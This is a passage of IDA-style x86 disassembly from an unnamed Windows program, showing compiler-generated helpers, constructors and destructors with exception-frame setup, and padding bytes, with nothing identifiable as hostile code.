esi, eax test edi, edi jnz short loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax nop call near ptr 71AB9639h loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte 